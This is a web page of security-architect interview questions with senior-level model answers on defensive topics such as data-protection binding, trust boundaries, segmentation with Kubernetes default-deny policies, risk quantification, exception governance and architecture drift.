- Home
- Prep by Job Role
- Security Architect
- Top 100 Q&A
Top 100 Security Architect Interview Questions and Answers
The questions most likely to come up in your Security Architect interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.
Curated: · Written: · Reviewed:
Q&A-1The estate uses Confidential, Internal, and Public. Why is that not yet a data-protection architecture?
Three labels are a vocabulary, not a control. A data-protection architecture is the set of handling rules bound to each label and enforced at every hop a copy takes (encryption, audience, retention, allowed processors, deletion) plus evidence that the rule actually fired. Confidential/Internal/Public tells you what someone decided a document is. It does not tell a backup job, a BI extract, or a support tool what to do with it. Until the label is a key that resolves to those rules in the schema and in the pipeline, you have a naming convention.
What the binding looks like. Publish four to six labels: three is usually too coarse, because you need a tier for regulated personal data and one for secrets. Bind each to encryption at rest and in transit, the audience that may read it, retention in days, allowed processors, and deletion method. Enforce the binding where data moves, not where it is described: column tags in the warehouse, object tags in storage, and a policy decision point in front of the query path. Refuse any flow that carries a label with no binding.
The alternatives, and when they win.
- DLP scanning at egress. Content-based, so it catches what labels miss: unlabelled copies, pasted data. Cheaper to start, no schema migration. Weakness: false positives, and it only sees data where you placed a sensor. A nightly CSV to a share you forgot about is invisible.
- Access brokers / policy engines (OPA, Cedar). One decision point, one place to change rules, a clean audit trail. Cost: a new dependency in the read path, so its latency and availability now matter. Worth it when you have many stores and few flows.
- Label-gated storage. The store itself refuses reads or writes without a matching label. Strongest enforcement, hardest to bypass. Cost: you migrate data and every writer must set labels correctly; a mislabelled write becomes a hard failure.
Binding is not worth it when the estate is small and the flows are enumerable: one warehouse, one BI tool, native row and column controls already cover it. It is also not worth it if label churn is high and you cannot staff the binding maintenance, because a stale binding is worse than none: it looks like control.
Failure mode. Payroll sat under Confidential while nightly CSV extracts to a BI share had no audience rule. Support copied 2,160 salary rows into ticket attachments over 11 days; those attachments had no deletion rule and persisted 6 years past ticket closure, while the primary table's 7-year retention was enforced.
| Hop | Handling bound | Rows copied | Retention remaining |
|---|---|---|---|
| primary payroll table | field encryption, 25 named roles | 18,400 | 7 years |
| BI extract share | none | 18,400 | unbounded |
| support ticket attachments | none | 2,160 | 6 years after close |
Detection: the extract share had no owner and no retention job; the ticket attachments surfaced only when someone sampled a support queue. Neither would have been caught by a label audit, because both copies carried the label.
Verification. Sample 20 labelled flows from create through backup, export, restore, and delete, and require each hop to name the handling rule that fired. If a hop cannot name one, the label is decoration.
Curated: · Written: · Reviewed:
Q&A-2A workshop listed 140 critical systems. How do you decide which few the architecture actually has to hold?
The 60-second answer. Treat the workshop list as input, not as the decision. Score all 140 against three gates: can compromise end the business, does a named authority require it, and can it be recovered without the attacker's cooperation. Keep only systems that pass at least one gate. That set is the crown jewels, and I'd expect it to land between 8 and 15. Everything else stays important, gets standard controls, and stops consuming the isolation and monitoring budget that only the crown jewels can justify.
Why gates, not a score. A single risk score averages away the thing that matters. Signing keys and recovery credentials produce no revenue until they are abused, so a revenue-weighted score ranks them low. A regulator-mandated system may be low-harm but non-negotiable. Three gates keep those cases visible instead of blending them.
The mechanism: transitive closure. A system belongs in the working set if it is a crown jewel or can reach one through a shared control plane. Same VLAN, same CI runner, same identity provider, same backup credential store. The architecture has to hold that closure. This is why the 140-row list is the wrong unit: it names assets, not reachability.
Alternatives, and when not to use this.
- Score all 140 by revenue impact: fails on keys and recovery credentials.
- Fund all 140 equally: prevention budget is finite. At two engineer-days per isolation test, 140 systems is 280 days; 12 systems is 24.
- Regulator-mandated list: you cannot shrink it, so tier it. The mandated set gets compliance evidence, the crown-jewel subset gets isolation.
Failure modes.
- Shared VLAN: an unpatched low-value host becomes the foothold. Detected by CA/HSM log review cadence, not endpoint alerts.
- Stale recovery credential: outlives its owner. Detected by an access review that lists credentials by last use.
- Identity plane compromise: mints everything. Detected by anomalous token issuance rate.
Worked example (illustrative figures, not a real incident). A 140-entry list included a cafeteria kiosk. The kiosk shared a VLAN with 38 entries, including the signing HSMs. An unpatched kiosk became the foothold; four code-signing keys were used for nine days before anyone read the HSM logs.
| Set | Count | Isolation tests in 90 days | Crown-jewel assets reachable |
|---|---|---|---|
| Workshop list | 140 | 6 | 4 signing keys |
| Funded crown jewels | 12 | 12 | 0 |
| Cafeteria kiosk | 1 | 0 | 4 signing keys via shared VLAN |
What would settle it. Name the 15 jewels, the blast radius of each, and the last date an isolation test ran against a neighbouring low-value host. If everything is a crown jewel, nothing is funded like one.
Curated: · Written: · Reviewed:
Q&A-3The context diagram shows six boxes and TLS everywhere. What is still missing?
What's missing is the trust model, not another box.
TLS on every arrow tells you the bytes are encrypted and that at least one end proved possession of a key. It does not tell you who the caller is in your system's terms, what they are allowed to do, or what happens when the far side is compromised. Six boxes and padlocks is a transport inventory. The missing artefact is a boundary table: for every crossing, the identity, the authorisation decision, the data class, the telemetry, and the failure behaviour.
Six boxes give you at least these crossings: client to edge, edge to service, service to service, service to datastore, service to third party, and everything to the control plane. Each is a different trust boundary because identity, authority, tenant, or admin domain changes across it.
The thing usually absent from the picture is the implicit broker. A gateway, an ingress, a sidecar, a CI runner, or a shared token-minting service terminates TLS and re-originates it. If it holds one credential and fans out to N services, it is a single point of impersonation that no box on the diagram shows.
| Crossing | Identity | Authorisation | Data class | Telemetry |
|---|---|---|---|---|
| client to edge | OIDC token, audience-scoped | per-route policy | PII | access log + token subject |
| edge to service | workload identity (SPIFFE SVID) | AuthorizationPolicy | PII | mesh access log |
| service to service | SPIFFE SVID per workload | per-method policy | internal | mTLS peer identity in log |
| service to datastore | DB role / IAM role | per-statement grants | PII | query audit |
| service to third party | outbound credential, egress allowlist | scoped API key | PII | egress log |
| anything to control plane | admin identity + MFA | RBAC | secrets | audit log |
Trade-offs. Per-workload identity (SPIFFE/SPIRE, or Kubernetes bound ServiceAccount tokens, GA in 1.22, which carry an audience and an expiry) versus a shared cert. A shared cert is simpler and fine when every caller sits in one admin domain, one tenant, and no delegation happens: a single-team monolith behind one gateway. It fails the moment two teams, two tenants, or a broker share it, because revocation is all-or-nothing and the audit log cannot tell callers apart.
mTLS alone is acceptable when the peer identity is the authorisation decision and the action space is uniform, say a read-only replica. It is not enough when the same identity can call both GET /balance and POST /transfer; then you need per-action policy (Istio AuthorizationPolicy, OPA, or app-level checks) and audience-bound tokens (RFC 8705 certificate-bound access tokens, RFC 9068 JWT access tokens) so a token minted for one service cannot be replayed at another.
Failure modes to name. A leaked workload cert gives impersonation until rotation. Istio has enabled auto mTLS by default since 1.5, but a PERMISSIVE PeerAuthentication silently accepts plaintext. With no AuthorizationPolicy, Istio is allow-by-default, so any mesh member reaches any service. An unchecked token audience gives cross-service replay. No telemetry at the crossing means you cannot tell a broker from a caller.
One abuse case, traced. Attacker reads a workload cert from a debug endpoint. Presents it to service B; mTLS succeeds, peer identity is the victim workload. No AuthorizationPolicy, so B allows the call. B's log records the victim's SPIFFE ID, not the attacker. Detection only comes when the victim's own traffic pattern shifts.
That is the missing view: not another padlock, but the identity, policy, data, and telemetry at each crossing. Including the broker nobody drew.
Curated: · Written: · Reviewed:
Q&A-73The threat model is only external attackers. Who else can mint a payout?
External-only means you've modelled the network and not the operator. The people who can mint a payout are everyone who can reach the write path to the ledger or the payment provider, and that list is longer than the security team usually writes down.
Assume payouts are minted by one of two writes: a row in your ledger, or a call to a provider API like a transfer or a refund. Anyone who can make that write can mint. So enumerate by write path, not by job title:
- Engineers and SREs with production database write access or a break-glass role.
- Support and ops agents holding a refund or balance-adjustment tool.
- Anyone who can merge and deploy: CI/CD service accounts, a compromised build dependency, a leaked deploy token.
- Vendors and contractors with delegated admin in the provider dashboard.
- Finance staff with manual journal-entry or reconciliation tooling.
- A legitimate insider whose session is stolen: cookie, laptop, or a leaked service-account key.
The mechanism matters because it tells you where the control goes. A support agent doesn't need database access: they call POST /refunds, and the service turns that into a ledger credit. Dual-controlling the admin UI does nothing if the refund endpoint is open. The control has to sit on the write itself, not on the screen that happens to be in front of you.
| Actor | Write path | Control | Detection |
|---|---|---|---|
| SRE / engineer | DB write or break-glass role | JIT grant with TTL, dual control on transfers | grant audit, expiry alert |
| Support agent | refund / adjust endpoint | per-transaction cap, dual control above cap | endpoint audit log |
| CI/CD | deploy token, build dependency | signed commits, scoped deploy credentials | deploy audit, diff review |
| Vendor / contractor | provider dashboard admin | least-privilege delegated roles, no payout scope | provider audit reconciled weekly |
| Finance | manual journal entry | dual control, append-only ledger | journal diff alert |
| Stolen session | any of the above | short-lived sessions, device binding | new-device and impossible-travel alert |
Three credible designs, and the deciding criteria are: is the action reversible, what's the blast radius of one write, and what latency does a legitimate payout tolerate. Dual control on every money-moving action is strongest but adds an approver to every routine refund and creates a queue. Just-in-time elevation (no standing write access, a time-boxed grant with a reason that auto-expires) is cheaper day to day, but the grant becomes the thing to attack. An append-only ledger plus anomaly detection doesn't prevent the write; it makes it visible and reversible inside a window. Refunds are low blast radius and roughly reversible, so JIT plus detection fits. A transfer to a new bank account is irreversible and high blast radius, so it gets dual control.
Failure modes, and how each is caught:
- Dual control where both approvers sit on the same on-call rotation: check approver identity overlap in the audit log.
- Break-glass that never expires: alert on any grant older than its TTL.
- Vendor admin actions that never reach your audit log: reconcile provider-side audit against your own weekly.
- Bulk export of payout data: that's the exfiltration path rather than the mint path, but it's how an insider monetises. Alert on rows per identity per day above a threshold.
Worked example, hypothetical numbers: an SRE role can approve payouts in the admin UI. One person approves a test payout, then exports the payout table. With no dual control the export is 14,000 rows and lands in a personal mailbox a week before their last day. Add dual control on the approve action and a per-identity export cap of 500 rows a day: the payout now needs a second approver, and the export trips the cap on day one. That's the difference between a control and a policy.
What I'd want to see before calling it closed: a test payout that requires a second approver, a break-glass grant that expires on its own, and a blocked bulk export from an SRE identity. All three visible in the audit log.
Curated: · Written: · Reviewed:
Q&A-4The team produced a 90-row STRIDE spreadsheet. Why might you still reject the design?
My answer to STRIDE theatre versus scenario-led threat modelling begins with prevention, detection, response, and recovery as one system, not a purchase.
STRIDE is a prompt, not a proof. Architecture needs a small number of feasible scenarios that name the attacker, the invariant they break, and the design change that stops them. A checklist that labels every box Spoofing while the support workflow remains unmodelled is theatre.
Concretely, pick the three to seven scenarios that can actually reach money, identity, or regulated data, write the sequence, attach a named design change to each, and refuse to close the model while any high-consequence path still has only a label.
The reason for that specificity is a failure I have seen: The spreadsheet had 90 STRIDE tags and a green workshop. A contractor support tool could impersonate any tenant by swapping an unauthenticated customer-id header. Testers found it on day 4 of a later pentest, after 12,700 accounts were already reachable.
Tags versus the path that mattered.
| Artefact | Count | Support impersonation covered | Accounts reachable |
|---|---|---|---|
| STRIDE rows | 90 | no | 12,700 |
| funded scenarios | 5 | yes, after redesign | 0 in retest |
| days from workshop to pentest finding | 46 | — | — |
I would not consider it settled without evidence: replay the highest-consequence scenarios against the implemented design and close each mitigation with a failed-then-passed test, not a tag count.
A label is not a mitigation.
Curated: · Written: · Reviewed:
Q&A-68The CMDB is 70% accurate. How do you design isolation if you cannot name the neighbours?
Assume the 70% is optimistic and the missing 30% includes internet-facing admin surfaces. You cannot enumerate neighbours, so stop trying: design isolation that fails closed for anything you cannot name. Three moves.
1. Invert the default. Deny all east-west traffic between tiers, then allow only flows you have evidence for. An unknown asset matches no allow rule, so it gets nothing. CMDB incompleteness becomes an availability problem (a legitimate flow breaks) instead of a breach problem (an unknown host reaches the crown jewels). In Kubernetes (checked against 1.29; NetworkPolicy stable since 1.7):
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: {name: default-deny-ingress, namespace: payments}
spec:
podSelector: {}
policyTypes: [Ingress]
Then allow by identity, not by IP:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: {name: allow-ledger, namespace: payments}
spec:
podSelector: {matchLabels: {app: payments-api}}
policyTypes: [Ingress]
ingress:
- from:
- namespaceSelector: {matchLabels: {kubernetes.io/metadata.name: ledger}}
podSelector: {matchLabels: {app: ledger}}
ports: [{protocol: TCP, port: 8443}]
Trace: a pod with no matching from clause is denied. Including one the CMDB never recorded. That is the whole point.
2. Anchor policy to identity, not topology. A rule that says "payments may call ledger" survives IP churn and unknown hosts; a rule that says "10.0.3.0/24 may reach 10.0.4.0/24" is only as good as the CMDB. Use workload identity (SPIFFE/mTLS, cloud IAM roles, Kubernetes ServiceAccounts) so the enforcement point authenticates the caller instead of trusting an address.
3. Discover out-of-band. Build the neighbour graph from traffic, not the CMDB: VPC flow logs, eBPF/CNI flow telemetry, DNS query logs, cloud config snapshots. Run new policy in monitor mode first, diff observed flows against allowed flows, then enforce. The CMDB gets reconciled from this, but enforcement never waits for it.
Trade-offs:
| Approach | Anchored on | Survives 70% CMDB? | Fails when |
|---|---|---|---|
| deny-all + observed-flow allowlist | traffic evidence | yes: fails closed | a dormant path is first used |
| identity-based (mTLS/SPIFFE) | workload identity | yes | legacy host has no identity issued |
| IP/subnet ACLs from CMDB | topology | no | unknown host sits in an allowed range |
| agent microsegmentation | host agent + labels | partly | unmanaged host has no agent |
Failure modes to name: dormant flows break on first use. Catch them with monitor mode and a canary, not in production. Break-glass rules become permanent: expire them and alert on use. Identity coverage gaps: a host without an identity is denied, which is correct but shows up as an outage; track the count.
Arithmetic: allowlisting from a 70% CMDB leaves 30% of the estate either unpoliced or mispoliced. Deny-by-default flips that 30% to denied, and the cost is measured in break-glass tickets, not breach scope.
Curated: · Written: · Reviewed:
Q&A-5Risk scoring paints this as red 9. How do you decide whether to spend £400,000 on a control?
The 90-second answer
Three numbers decide it: annualised loss today, annualised loss with the control, and the control's annualised cost. Fund it when the reduction clears a threshold the risk owner already published: commonly 3:1 over the control's life for discretionary spend. The red 9 feeds the first number; it is not the decision.
A red 9 is a rank, not a magnitude. Two items carrying it can sit two orders of magnitude apart in pounds, so the score alone cannot tell you whether £400,000 is cheap or absurd. You need a loss scenario, a 90% range on frequency and magnitude, and the control's modelled effect on both.
Worked example: hypothetical figures, labelled as such
| Order-entry ransomware | Badge-printer theft | |
|---|---|---|
| Score | 9 | 9 |
| Frequency, 90% range | 0.1–0.5 /yr | 0.5–2 /yr |
| Loss per event, 90% range | £1.5m–£8m | £3k–£25k |
| Annualised loss (midpoints) | 0.3 × £4.75m = £1.4m | 1.25 × £14k = £17.5k |
| Control effect | frequency ×0.4, magnitude ×0.7 | frequency ×0.5 |
| Annualised loss after | 0.12 × £3.33m = £0.40m | 0.63 × £14k = £8.8k |
| Reduction | £1.0m/yr | £8.8k/yr |
| £400k capex over 3 yr + £60k/yr run = £193k/yr | 5.3:1 | 0.05:1 |
Fund the first. Reject the second: £400,000 against £8.8k/yr of reduction takes 23 years to break even, and an £8,000 locked cabinet captures most of that £8.8k. Same colour, unlike loss.
The decision rule
Write the scenario, bound frequency and magnitude in 90% ranges, state the control's effect on each, and divide the reduction by the annualised cost (capex over the control's life plus run cost). The named risk owner picks treat, transfer or accept against a published threshold. £400,000 is also one control among several: compare it to the next-best control on the same register, not to zero.
Failure modes
- The baseline already assumes the control. If the register's frequency already reflects MFA, the £400,000 buys nothing. Read the model's stated assumptions before funding.
- Point estimates. Midpoints hide the tail. If the 95th-percentile loss exceeds the owner's tolerance, the decision is about that tail, not the mean.
- Efficacy assumed, not measured. Review at six months: if the phishing-to-domain-admin path still exists in the identity plane, the ×0.4 frequency multiplier did not happen and the spend is not delivering.
What changes the answer
If ransomware frequency is 0.02/yr rather than 0.3, the reduction falls to roughly £70k/yr and fails the 3:1 test. Then you buy the cheaper compensating control, segmentation and tested backups, and accept the residual. Run the model with the control's measured efficacy, not its vendor's, before renewing.
Curated: · Written: · Reviewed:
Q&A-6Engineers say they accept the leftover risk so the release can ship. What is wrong with that?
An engineer can describe residual risk, size it, and propose compensating controls. They cannot accept it. Acceptance means owning the consequence if the harm lands, and that ownership has to sit with someone whose remit and budget cover the harm. "We accept the risk so the release can ship" is delivery pressure using the vocabulary of governance. Two things go wrong: nobody is accountable, and nothing expires.
What acceptance actually requires
A defensible acceptance record has five fields:
- The unmet control, named specifically, not "some validation gaps".
- The exposure in numbers: how often the path is hit, what a bad hit costs.
- The compensating controls in place until the real fix lands.
- A named accepting officer whose remit covers the harm, plus a calendar expiry.
- A monitor that would detect the harm, and the closure condition that ends the acceptance.
Without the officer and the date, the acceptance is not a decision. It is a note that the team shipped.
Why the missing date is the dangerous part
An undated acceptance never expires. It survives the sprint, the quarter, the reorg, and the people who wrote it. The next engineer inherits a system with a known gap and no record that anyone chose to live with it, so the gap reads as an oversight rather than a decision, and oversight gets deprioritised forever.
I have seen this on a payments service. Object-level authorisation checks were missing on a refund endpoint. The team noted it in a sprint spreadsheet and shipped. No officer, no date, no monitor. Nineteen months and several renewals later, a client sent a guessed UUID and the endpoint issued 6,200 refunds totalling £890,000 before anyone noticed.
The same gap handled as a dated decision looks like this:
| Informal acceptance | Dated acceptance | |
|---|---|---|
| Record | sprint spreadsheet comment | risk register entry, signed |
| Accepting officer | none | CFO delegate |
| Expiry | none | 60 days |
| Compensating control | none | ownership check on the write path |
| Monitor | none | probe writes rejected, 14 of 14 |
| Outcome | 6,200 refunds, £890,000 | 0 refunds |
The difference is not caution. It is that the second column has someone who will be asked about it in 60 days.
How to detect it
Search tickets and PR descriptions for "accept the risk", "known issue", "accepted for now". For each hit, check the risk register: is there an owner, a date, and a monitor? A monitor that has never fired is not evidence: it may be untested. Ask when it last fired on a probe.
In the room
This is not an argument for blocking the release. Shipping with a known gap is a legitimate choice; the failure is making that choice without recording who made it. So the answer to "we accept the risk" is not "no". It is: I can't accept it, and neither can you. Here is the record I need signed, by whom, with what expiry, before this ships. If nobody will sign, that is the finding.
Curated: · Written: · Reviewed:
Q&A-7Network monitoring will compensate for missing segmentation until next year. How do you govern that?
I would settle compensating controls that expire by exercising the abuse case against the running path, not against the slide.
A compensating control is a time-boxed substitute with a detection duty, not a permanent exception wearing nicer clothes. Without expiry and a measured substitute, monitoring becomes the architecture and segmentation never arrives.
Concretely, name the missing preventive control, the substitute's coverage and false-negative rate, a 90-day maximum unless re-justified with fresh numbers, and an automatic ticket that reopens the preventive work on expiry.
The reason for that specificity is a failure I have seen: East-west monitoring compensated for a flat payments VLAN for 3 years. The sensor sampled 1 in 256 flows. A worm used the unsamped majority and reached 41 hosts in 22 minutes, including the card-data subnet.
Sampled monitoring as a fake wall.
| Control | Duration | Sample rate | Hosts reached | Time to 41 hosts |
|---|---|---|---|---|
| flow sensor compensation | 3 years | 1/256 | 41 | 22 minutes |
| default-deny segments | not yet | n/a | 0 in later drill | — |
| planted technique catch | — | — | 2 of 50 trials | — |
I would not consider it settled without evidence: show the substitute's measured catch rate against a planted east-west technique, and the calendar date the preventive control replaces it.
A compensation without an end date is the new design.
Curated: · Written: · Reviewed:
Q&A-38The programme closed 12,000 low CVSS findings this quarter. Why might risk have gone up?
Direct answer. Closing 12,000 low findings does not reduce risk if those findings were not the risk. CVSS base score rates a vulnerability in isolation: it has no input for whether the asset is reachable, whether credentials are needed, or what breaks if it is exploited. A programme optimised on count spends its capacity on the cheapest closures and leaves the reachable, high-consequence set aging. Risk goes up because the quarter's remediation budget went to the wrong 12,000.
Count is not exposure. CVSS v3.1 and v4.0 bands are Low 0.1–3.9, Medium 4.0–6.9, High 7.0–8.9, Critical 9.0–10.0. A 3.7 verbose error page that leaks an internal hostname and a 5.3 internal health endpoint that returns a service token are both low alone. Chained, they are an unauthenticated path to an admin API. Attackers work the path, not the queue. CVSS v4.0 added the threat metric (Exploit Maturity) precisely because base score ignores whether anyone is exploiting it; EPSS and the CISA KEV catalog are the operational versions of that.
Opportunity cost. Remediation capacity is fixed. Worked example, hypothetical figures: a team with 500 engineer-hours per quarter for remediation. 12,000 low findings at roughly 2.5 minutes each of triage-and-bump is 500 hours: the entire quarter. The 40 reachable high and critical findings, at about 4 hours each for config change, test and staged deploy, is 160 hours that went unspent; those findings aged from 10 to 100 days. Same team, same quarter, two portfolios.
"Closed" often means "invisible". A finding leaves the scanner when the asset is decommissioned, the scan credential breaks, the path is excluded, or a compensating control is switched off to clear the ticket. None of those is remediation.
| Closure reason | Exposure actually removed? |
|---|---|
| Asset decommissioned | Only if it is gone: reconcile against inventory |
| Scan credential or path broken | No |
| Marked false positive | Only if genuinely unreachable |
| Control disabled to clear the ticket | No: risk up |
| Dependency bumped and deployed | Yes |
Detection: reconcile closure reason codes against inventory changes. A spike in "asset retired" or "false positive" closures in the same quarter as a 12,000 burn-down is the tell.
When the burn-down is right. With no exposure data, volume reduction is a defensible proxy. It is genuinely correct when a compliance regime mandates it (PCI DSS requires addressing findings above its threshold within defined windows), when the network is flat enough that any host is a pivot, or when findings are mechanically fixable, dependency bumps in a lockfile, so the marginal cost is near zero. The failure is doing it instead of the exposure work, not alongside it.
What I would check before believing the number. Inventory coverage: what fraction of the estate the scanner actually sees. Closure reason codes. And the age of the reachable high-consequence set, not ticket volume.
Curated: · Written: · Reviewed:
Q&A-76There are 310 open security exceptions. What does that say about the standard?
Short answer: 310 open exceptions says less about your risk appetite than about whether the standard is enforceable. A working exception process is high-churn and low-age: exceptions open, get a compensating control, and close. A register that only grows means the exception has quietly replaced the standard as the thing people actually comply with.
What I'd want before answering. The count alone is unreadable. Three numbers decide it: median age, closure rate, and clustering. 310 exceptions with a median age of three weeks and 200 closures last quarter is a process under load. 310 with a median age of 14 months and single-digit closures is a control set wearing an exception's name. Illustrative arithmetic: intake of 90 per quarter against 40 closures per quarter is net +50 per quarter, so 310 becomes roughly 610 in 18 months. The sign of the derivative matters more than the level.
The mechanism. An exception is a promise with four parts: named owner, expiry date, compensating control, monitor. Break any one and the exception is an undocumented gap with a ticket number. At 310 open, at least one part is systematically missing: usually the monitor, because it is the only one that costs ongoing effort rather than a one-time write-up.
Alternatives, and when the hard cap is wrong.
| Regime | Cap | Works when | Breaks when |
|---|---|---|---|
| Hard cap + auto-escalate | 90 days | Exceptions are mostly hygiene debt and the org can absorb forced decisions | Regulated scope (PCI DSS, FedRAMP) where a signed risk acceptance legitimately runs to a vendor EOL; teams re-file under new IDs to reset the clock |
| Tiered by blast radius | 30–90 days for internet-facing, cardholder-data, prod-admin; 12 months internal | Exposure surface varies by orders of magnitude | Tier assignment is self-declared and gets gamed |
| No cap, mandatory compensating control + monitor + quarterly risk-owner sign-off | none | The risk owner is a business owner who can say no | Security owns the register and cannot refuse; it becomes a diary |
Deciding criterion: is the compensating control real and monitored? If yes, age is a weak signal. If no, the cap is the only thing forcing a decision. A 90-day hard cap is the wrong tool where the exception is the compliance artifact: a documented, signed risk acceptance for a system that cannot be fixed before a vendor date. Forcing closure there produces false closure: the exception disappears, the risk does not, and it stops being visible.
Failure modes, and how to detect them.
- Re-filing: closed day 89, reopened day 90 under a new ID. Detect by counting distinct (control, asset) pairs rather than exception IDs.
- Zombie: owner left the company, monitor never ran. Detect by joining the register against the directory and the last monitor timestamp.
- Splitting: one systemic gap filed as 40 asset-level exceptions to stay under a per-exception threshold. Detect by clustering on control ID.
- The live one: an exception whose compensating control is unverified segmentation. Detect by joining the register against exposure scanning: any exception that also shows up as an open finding is not compensating anything.
What I'd ask for. The age histogram, closure rate over four quarters, the cluster of controls generating the most exceptions, and the last exception that actually closed on time. If 310 exceptions cluster on three controls, the standard is wrong, not the exceptions: rewrite the control and the register drains itself.
Curated: · Written: · Reviewed:
Q&A-43The programme reports 14 tools deployed, 8,000 findings closed, and 97% training. How should a roadmap read instead?
What I'd say first
Those three numbers are activity counts. They answer "what did we buy and do," not "what does an attacker have to do now." A roadmap should read as funded work against named attack paths, with leading measures of coverage on those paths and lagging measures of harm. If a number can rise while the attacker's cost stays flat, it doesn't belong on the roadmap.
Two credible metric sets, and how to choose between them
Attack-path coverage. For each path you care about (phishing-to-admin, CI token to prod, edge appliance to lateral movement) name the control that breaks it and measure the fraction of the exposed population that has it. Leading, and cheap to instrument if you already have an identity and asset inventory.
Harm and response. Incidents by path, dwell time, time-to-revoke a credential, exception age, residual-risk movement. Lagging, slow to move, hard to game, and the numbers a board actually asks about.
The criteria I'd apply to any candidate metric:
- Does it have a denominator? "97% trained" is a numerator over headcount; "12% of admins on phishing-resistant MFA" is coverage of the population that matters.
- Can it improve without changing attacker behaviour? If yes, it's an input, not an outcome.
- Can you produce it next quarter from data you already have? If not, it's a project, not a KPI.
Framework tiers (NIST CSF, CMMI) fail criterion 2: you can climb a tier by writing documents.
Worked example (figures illustrative)
A programme ran five quarters. Tools went 9→14, training 81%→97%, findings closed 3,100→8,000. The phishing-to-admin path was unchanged: two stolen SMS codes, 40 minutes.
| Measure | Q1 | Q5 | Responds to attacker cost? |
|---|---|---|---|
| Tools deployed | 9 | 14 | No |
| Training complete | 81% | 97% | No |
| Findings closed | 3,100 | 8,000 | No |
| Admins on phishing-resistant MFA | 12% | 12% | Yes |
| Median exception age | 210 d | 190 d | Yes |
| Phishing-to-admin (red team) | 2 codes, 40 min | 2 codes, 40 min | Yes |
After mandating FIDO2 for admins, coverage went to 100% and the relay attack failed 25 of 25 red-team attempts. The path cost moved, and the roadmap could show it.
Failure modes to name
- Coverage without a denominator: "we deployed MFA" hides that it's SMS on the accounts that matter.
- Exception age gamed by approving exceptions rather than fixing them.
- Red-team results as the only measure: point-in-time, and gameable by scoping.
What I'd put in the roadmap
Per quarter: the two or three paths in scope, the control that breaks each, current coverage, target coverage, and the spend. Exception age and residual-risk movement as the lagging check. Drop tool counts, raw finding counts, and training completion as headline KPIs: keep training as a leading input only where it's tied to a named path.
Curated: · Written: · Reviewed:
Q&A-66The board pack is a heat map of 40 red boxes. What should a security architect put instead?
Clarify first. Is the board being asked to accept residual risk, or to fund a treatment? Those are different packs. I'll assume the common case: a company with a live risk register, a CISO who owns it, and a board that meets quarterly and wants to know what it is holding.
The answer. Replace the 40-box heat map with a scenario pack: five to seven named scenarios, each carrying a likelihood range, a loss range, the funded owner, the treatment cost and date, and the residual the board is being asked to accept. A colour is not a decision; a number with an owner and a date is.
Each scenario line should read like this (figures illustrative): "Identity-plane ransomware. 1-in-20 per year, loss £4m–£18m, treatment £600k over two quarters, residual after treatment £1m–£5m, owner CFO and CISO, decision requested at this meeting." That is one row the board can argue with. Forty red boxes are forty rows nobody can argue with, because none of them says who pays or by when.
Where the heat map is still right. If this is the first maturity baseline and there is no quantified register yet, a 5×5 with counts per cell is a reasonable starting artefact: it shows where the register is thin, and it costs almost nothing to maintain. It also works as an appendix index to the scenario pack. What it cannot do is support a funding decision, because a colour has no owner, no date and no number.
What the scenario pack costs. It is not free. Each scenario needs a loss model, which is days of work per scenario per quarter, plus a finance partner to sanity-check the ranges. Five scenarios is about the most a small team keeps current. If you cannot fund that maintenance, the pack rots into the same stale colours you were trying to replace, so the maintenance owner and refresh date belong on the slide.
The failure mode, and how you detect it. The heat map goes stale silently. Take an illustrative case: the same 12 cells had been red for six quarters and nobody had noticed that identity-plane ransomware had no funded owner; the gap surfaced as a 14-day outage. Detection is mechanical: track exception age and the date each scenario's numbers were last refreshed. If a scenario's numbers are older than a quarter, it is decoration, not risk.
| Pack | Contains | Decision it supports | Maintenance | Failure mode |
|---|---|---|---|---|
| 40-box heat map | colours per risk | none directly | near zero | stale cells, no owner |
| Scenario pack | 5–7 scenarios, ranges, owners, dates | fund / accept residual | days per scenario per quarter | rots if unfunded |
How I'd know it worked. Show me the last board decision that changed spend or appetite, and the scenario numbers that drove it. If there is no such decision, the pack is still a picture.
Curated: · Written: · Reviewed:
Q&A-40The board approved a diagram 18 months ago. Why is that not still the architecture?
The 60-second answer
The board approved a design, not a running system. What's in production 18 months later is the sum of every decision made since: including the ones nobody wrote down. The diagram is a snapshot of intent at one point in time; the architecture is whatever the deployed topology, config, and code actually enforce. Divergence is the default. The useful question is which mechanism caused it.
Four mechanisms account for most of it:
-
Decisions below the diagram's altitude. Someone adds a Redis cache in front of the primary, a retry with backoff, a second queue. None of these feel like "architecture" to the person doing them, so the diagram, which lives in a wiki nobody opens mid-sprint, doesn't move. Ten of these and the diagram describes a system that no longer exists.
-
Deadline shortcuts. The approved design had a dedicated link, a service mesh, a staged rollout. The deadline didn't. The shortcut ships, the diagram stays, and the shortcut becomes load-bearing.
-
Turnover. The constraint in the diagram ("traffic must stay on the private link") had a reason. The person who knew the reason left. The constraint is now an assertion with no owner, and the next team routes around it because nothing enforces it.
-
As-designed vs as-built. The diagram was drawn from the design doc, not from
terraform stateor the service graph. Nobody ever diffed the two, so the gap was never measured.
How you'd actually detect it
Drift is measurable, not a matter of opinion. Diff the as-designed artefact against the as-built one on a schedule:
- Infrastructure:
terraform planagainst the live account, or AWS Config / GCP Asset Inventory conformance packs, flagging resources not in the approved set. - Service topology: the OpenTelemetry service graph or a dependency scan versus the diagram's edges. New edges are the signal.
- Code-level constraints: ArchUnit or an equivalent test asserting "no service calls the partner API over the public internet". A fitness function that fails CI when violated.
A worked example (hypothetical): the diagram says orders → partner-api over a private link. A config audit runs weekly. Week 0: one edge, private. Week 22: the edge now resolves to a public endpoint because a team swapped the client config during an incident. The audit flags a new egress path; the diff against the diagram is the alert. Without the audit, the first signal is a security review or a breach.
Alternatives, and when each is worth it
| Approach | Catches | Cost | When it's not worth it |
|---|---|---|---|
| ADRs with expiry | Stale rationale; forces re-decision | Authoring + review cadence | Low-consequence, easily reversed choices |
| Fitness functions in CI | Code/config drift, continuously | Build time, maintenance | Anything not expressible as a test |
| As-built audits (config diff) | Deployed topology drift | Tooling + triage noise | Very small, single-team systems |
| Review gates on change | Drift at the moment it's introduced | Slows delivery | High-velocity teams without a clear owner |
Expiry dates are the weakest of the four on their own: a date doesn't detect anything. They're worth it only where the reason for a decision is expensive to reconstruct and the decision is hard to reverse.
Failure modes and how you see them
- Audit noise: config diffs flag every autoscaled instance. Fix: diff against approved classes of resource, not instances.
- Fitness function rot: the test encodes an old constraint and blocks legitimate change. Detect by tracking how often it's overridden; if it's overridden more than it fires, delete it.
